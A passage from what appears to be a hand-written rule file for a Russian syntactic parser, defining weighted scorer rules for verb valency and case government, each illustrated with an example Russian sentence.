<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:род }
}
} then 2
}
// Директор заявил, что уходит на пенсию.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:заявить{}.союз:что{} } then 2
}
// Люди провозгласили его гениальным писателем.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:провозгласить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:провозглашать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// они создали магию крови.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:создать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:создавать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// они боятся меня теперь.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:бояться{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// они называли ее железной.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:называть{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:назвать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// он отнес коробку к дедушке
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:отнести{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:относить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:отнести{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:относить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// какой вес имеют эти вещи искусства?
// ^^^^^ ~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:иметь{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -100 }
// но прежде нам необходимо найти тело
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context {
безлич_глагол:необходимо{}.{
<SUBJECT>*:*{ падеж:дат }
<INFINITIVE>инфинитив:*{}
}
} then 2
}
// вы можете предоставить ему другую работу?
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предоставить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предоставлять{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предоставить{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предоставлять{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// Никто из присутствующих при этом не пострадал.
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian { if context { местоим_сущ:никто{}.предлог:из{} } then 5 }
// она протянула к огню руки.
// ^^^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:протянуть{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:протягивать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
// почему она ему поверила?
// ^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поверить{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:верить{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
// человек впервые показал эмоции.
// ^^^^^^^ ~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показывать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// хочешь передать ему новость?
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:передать{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:передавать{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
// они зашли за угол крепости.
// ^^^^^ ~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:зайти{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:заходить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// ты достаточно заплатил ему?
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:заплатить{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:платить{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } } then 2 }
// их тоже стало меньше?
// ^^ ^^^^^
tree_scorer language=Russian { if context { 'стало'.<OBJECT>*:*{ падеж:род } } then 1 }
tree_scorer language=Russian { if context { 'станет'.<OBJECT>*:*{ падеж:род } } then 1 }
// ему хотелось выпить все озеро.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { безлич_глагол:хочется{}.<SUBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// как им хочется меня убить!
// ^^^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:хочется{}.{ <SUBJECT>ОдушОбъект{ падеж:дат } инфинитив:*{} } }
then 2
}
// нам следует передать им это дело
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { безлич_глагол:следует{}.<SUBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// все данные у него есть.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { 'есть'{ class:глагол 2 }.предлог:у{ 1 } } then 2 }
// сколько уверенности принесли они мне.
// ^^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:принести{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:приносить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// возьмут ли меня туда?
// ^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:взять{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:брать{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
// она обхватила его руками за шею.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обхватить{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обхватывать{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
// один из гномов ткнул его палкой.
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ткнуть{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:тыкать{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
// такое обращение может его сильно обидеть.
// ^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обидеть{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обижать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обидеть{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обижать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
// дай мне прикончить его!
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:прикончить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:приканчивать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// теперь она может выслушать его.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выслушать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выслушивать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// внешность этой женщины поразила его.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поразить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поражать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// ты его недавно сделал?
// ^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сделать{}.<OBJECT>местоимение:*{ падеж:вин } } then 2 }
// не смей вовлекать его в свои делишки
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вовлекать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вовлечь{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// дилер выгодно продал акции
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:продать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:продавать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// мы выдали ему костюм
// --> выдать обычно можно кому-то
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдать{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдавать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдавать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выдавать{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// я доверяю ему в этих вопросах
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:доверять{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:доверить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:доверять{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:доверить{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
// Она хотела побыстрее его женить
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:женить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// его избили
// --> ИЗБИТЬ КОГО-ТО
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:избить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:избивать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// собственные слова тут же показались верхом глупости.
// ПОКАЗАТЬСЯ можно КОМУ-ТО, а не ЧЕМУ-ТО
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показаться{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:казаться{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// мы продолжали поднимать тяжести
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поднимать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// Круче не придумаешь
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:придумать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// Ключевая валютная пара останется волатильной
// ^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:остаться{}.прилагательное:*{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:оставаться{}.прилагательное:*{ падеж:дат } } then -1 }
// остальные были заняты тем же
tree_scorer language=Russian { if context { прилагательное:занятый{ краткий }.*:*{ падеж:твор } } then 2 }
// записи мы посмотрим потом
// ^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:посмотреть{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } } then -1
}
// целенаправленно обеспечивали его свежей продуктовой массой
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:обеспечивать{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// Олег потрогал его ногой
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:потрогать{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// хозяин пнул его ногой
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:пнуть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// Иван отодвинул его рукой
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:отодвинуть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// слуга вновь наполнил его вином
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:наполнить{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// многие горожане сочли его попыткой скрыть преступление под давлением евреев
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:счесть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// Суд признал его виновным.
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:признать{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// отец остановил ее жестом руки.
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:остановить{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// молодой человек оттолкнул его взглядом!
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:оттолкнуть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// тот ловко подхватил его левой рукой.
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:подхватить{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// младший толкнул его ногой
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:толкнуть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// капитан прикрыл ладонью глаза
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:прикрыть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
// Пол удивленно поднял брови.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поднять{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -1
}
// ты должна ненавидеть ее всей душой
// ^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context
{ rus_verbs:ненавидеть{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
} then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:попытаться{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } }
then -1
}
// кенгуру не умеет петь песни
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:петь{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -1
}
// они называли ее железной.
// ^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:называть{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 1
}
// Ударил ли Артур копьем дракона?
// тогда ударил ее кулаком по голове
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ударить{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 2
}
// УДАРИТЬ можно либо что-то, либо по чему-то:
// тот ударил по ней кулаком
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ударить{}.{
<OBJECT>*:*{ падеж:вин }
<PREPOS_ADJUNCT>предлог:по{}
}
}
then -5
}
// +++++++++++++++++++++++++++++++++++++++++++++++++=
// Самый западный и самый большой полуостров Азии - Аравийский
// ^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:самый{}.прилагательное:*{} }
then 1
}
// Даже сторонники экс-премьера не смогли поприветствовать своего кумира
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смочь{}.{
<OBJECT>*:*{ падеж:вин }
инфинитив:*{}.<OBJECT>*:*{ падеж:вин }
}
}
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смочь{}.{
<OBJECT>*:*{ падеж:род }
инфинитив:*{}.<OBJECT>*:*{ падеж:вин }
}
}
then -1
}
// ресницы ее начали опускаться
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:начать{}.{
<OBJECT>*:*{ падеж:вин }
инфинитив:*{}
}
}
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:начать{}.{
<OBJECT>*:*{ падеж:род }
инфинитив:*{}
}
}
then -1
}
// Завершаем 83-й женевский автосалон масштабным обзором новинок в лидирующих сегментах автопрома
// ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:завершать{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 2
}
/*
// В День Воли белорусов призвали побороть страх и лень
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:призвать{}.{
ОдушОбъект{ падеж:вин }
инфинитив:*{}
}
}
then 5
}
// РФ призывает США воздержаться от линии силового давления на Дамаск.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:призывать{}.{
<OBJECT>*:*{ падеж:вин }
инфинитив:*{}
}
}
then 5
}
*/
// Он не произнёс ни слова.
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.{
частица:не{}
существительное:*{ падеж:род }.частица:ни{}
}
}
then 5
}
// США хотят нормализовать отношения с Россией
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:хотеть{}.{
<SUBJECT>*:*{}
инфинитив:*{}
}
}
then 1
}
// их стали делать
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:стать{1}.инфинитив:*{ вид:несоверш } }
then 2
}
// Понизим достоверность связывания ПООБЕЩАТЬ с дательным падежом слева, чтобы не
// возникала ошибка в предложениях типа:
// Президент Ингушетии пообещал ...
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пообещать{2}.{
<OBJECT>*:*{ 1 падеж:дат }
}
}
then -1
}
// ========================================================================
// Некоторые модальные глаголы не могут присоединять прямое дополнение в
// винительном падеже, если присоединен инфинитив:
//
// Я ничего не смог из него выжать
// ^^^^^^ ~~~~
// Я яблоко ему не смог отдать
// ^^^^^^ ~~~~
wordentry_set МодальнБезДоп={
rus_verbs:советовать{}, // Общество потребителей советует аккуратно использовать банковские карты
rus_verbs:рекомендовать{},
rus_verbs:мочь{}, // Комментарии можете оставить при себе
rus_verbs:позволять{}, // Островное положение города позволяет смягчить колебания температур
rus_verbs:требовать{}, // долг чести требовал освободить ее.
rus_verbs:продолжать{}, // глаза его продолжали оставаться широко раскрытыми.
rus_verbs:захотеть{}, // он споры захочет решать мечом
rus_verbs:смочь{}, // ты сможешь ее удержать?
rus_verbs:начинать{}, // голос ее начинал дрожать
rus_verbs:принуждать{}, // Полицейских принуждают покупать лотерейные билеты
rus_verbs:продолжить{}, // США продолжат распространять демократию по всему миру
rus_verbs:позволить{}, // Курс нового Советского правительства на индустриализацию страны позволил создать мощную промышленную базу
rus_verbs:закончить{}, // Я только что закончил писать письмо.
rus_verbs:заканчивать{},
rus_verbs:начать{},
rus_verbs:пробовать{},
rus_verbs:попробовать{},
rus_verbs:дозволять{},
rus_verbs:дозволить{},
rus_verbs:разрешать{},
rus_verbs:разрешить{},
rus_verbs:запрещать{},
rus_verbs:запретить{},
rus_verbs:предписывать{},
rus_verbs:предписать{},
rus_verbs:присоветывать{},
rus_verbs:обожать{},
rus_verbs:поручать{},
rus_verbs:поручить{},
rus_verbs:предпочитать{},
rus_verbs:предпочесть{},
rus_verbs:бояться{},
rus_verbs:побояться{},
rus_verbs:бросать{},
rus_verbs:бросить{},
rus_verbs:давать{},
rus_verbs:дать{},
rus_verbs:доверять{},
rus_verbs:доверить{},
rus_verbs:желать{},
rus_verbs:хотеть{},
rus_verbs:забывать{},
rus_verbs:забыть{},
rus_verbs:задумывать{},
rus_verbs:задумать{},
rus_verbs:кончать{},
rus_verbs:кончить{},
rus_verbs:любить{},
rus_verbs:полюбить{},
rus_verbs:мешать{},
rus_verbs:помешать{},
rus_verbs:ожидать{},
rus_verbs:планировать{},
rus_verbs:запланировать{},
rus_verbs:предлагать{},
rus_verbs:предложить{},
rus_verbs:пытаться{},
rus_verbs:попытаться{},
rus_verbs:рассчитывать{},
rus_verbs:посоветовать{},
rus_verbs:потребовать{},
rus_verbs:уметь{},
rus_verbs:суметь{},
rus_verbs:успевать{},
rus_verbs:успеть{},
rus_verbs:решать{},
rus_verbs:решить{},
rus_verbs:напоминать{},
rus_verbs:напомнить{},
rus_verbs:обещать{},
rus_verbs:пообещать{},
rus_verbs:прекращать{},
rus_verbs:прекратить{},
rus_verbs:указывать{},
rus_verbs:указать{}
}
// Попробуй ты ее успокоить
tree_scorer ВалентностьГлагола language=Russian
{
if context { МодальнБезДоп.{ <OBJECT>*:*{ падеж:вин } инфинитив:*{} } }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { МодальнБезДоп.{ <OBJECT>*:*{ падеж:род } инфинитив:*{} } }
then -100
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.<LEFT_AUX_VERB>МодальнБезДоп.<OBJECT>*:*{ падеж:вин } }
then -100
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.<LEFT_AUX_VERB>МодальнБезДоп.<OBJECT>*:*{ падеж:род } }
then -100
}
// ========================================================================
// ===========================================================================================
// Некоторые модальные глаголы обычно требуют присоединения и прямого дополнения, и инфинитива
// ===========================================================================================
#define МодальнСВинДоп(v) \
#begin
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{3 }.{ <OBJECT>*:*{ падеж:вин 2 } rus_verbs:v{1} } }
then 4
}
#end
МодальнСВинДоп(заставить) // путь заставит тебя принять это
МодальнСВинДоп(заставлять) // оно заставляет меня вспоминать
МодальнСВинДоп(выучить) // Он выучил меня играть в шахматы.
МодальнСВинДоп(учить)
МодальнСВинДоп(научить)
МодальнСВинДоп(попросить)
МодальнСВинДоп(просить)
МодальнСВинДоп(умолять)
МодальнСВинДоп(упрашивать)
МодальнСВинДоп(упросить)
// ==========================================================
// или научились ей пользоваться
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:научиться{}.{
<OBJECT>*:*{}
инфинитив:*{}
}
}
then -10
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:научиться{}.{
<OBJECT>*:*{}
инфинитив:*{}
}
}
then -10
}
// Чтобы причастие или прилагательное, прикрепленное к БЫТЬ,
// было согласовано с подлежащим по роду:
//
// а сегодняшний день обещал быть именно таким
// лето должно быть именно таким
/*
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { *:*{ модальный }.{
<SUBJECT>*:*{ род:муж число:ед }
инфинитив:быть{}.прилагательное:*{ род:муж число:ед }
} }
then 1
}
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { *:*{ модальный }.{
<SUBJECT>*:*{ род:ср число:ед }
инфинитив:быть{}.прилагательное:*{ род:ср число:ед }
} }
then 1
}
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { *:*{ модальный }.{
<SUBJECT>*:*{ род:жен число:ед }
инфинитив:быть{}.прилагательное:*{ род:жен число:ед }
} }
then 1
}
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { *:*{ модальный }.{
<SUBJECT>*:*{ число:мн }
инфинитив:быть{}.прилагательное:*{ число:мн }
} }
then 1
}
*/
// --------------------------------------------------
// подавляем присоединение одновременно прямого дополнения и инфинитива:
// Я ХОЧУ ЭТО СДЕЛАТЬ
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:хотеть{}.{
инфинитив:*{}
<OBJECT>*:*{ падеж:вин }
}
}
then -100
}
// приказывать секретарше принести кофе
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приказывать{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// руководитель приказал пилоту начать снижение
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приказать{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 10
}
// посоветовал ему купить лопату
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:посоветовать{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 10
}
// позволять другим найти ход
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:позволять{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// позволить компьютеру найти решение
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:позволять{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// лицо незнакомца было покрыто потом
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:покрытый{}.<OBJECT>НеодушОбъект{ падеж:твор } }
then 2
}
// Но последний -- тот, кого называли Табююзом -- прошел через врата на Землю.
// ^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:называть{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 2
}
// В рядах оппозиции нашли «агентов Кремля»
// На обломках метеорита нашли скрюченных пришельцев
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.<OBJECT>ОдушОбъект{ падеж:род } }
then -10
}
// их нашли уже через час
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.<OBJECT>местоимение:я{ падеж:род } }
then -10
}
// Российские ученые нашли челюсти чудовища на дне ледяного озера
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.<OBJECT>НеодушОбъект{ падеж:род } }
then -1
}
// скоро она начнет искать меня
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:искать{}.<OBJECT>ОдушОбъект{ падеж:род } }
then -10
}
// мне придется искать помощи
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:искать{}.<OBJECT>НеодушОбъект{ падеж:род } }
then -2
}
// родителям пришлось искать его в одной из соседних станиц
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:искать{}.<OBJECT>местоимение:*{ падеж:род } }
then -10
}
// Подавим появление императива для НАСЛАТЬ, когда к нему прикреплен В+предл
// В рядах оппозиции нашли «агентов Кремля»
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:наслать{ наклонение:побуд }.предлог:в{}.*:*{ падеж:предл } } then -10 }
tree_scorer ВалентностьГлагола language=Russian
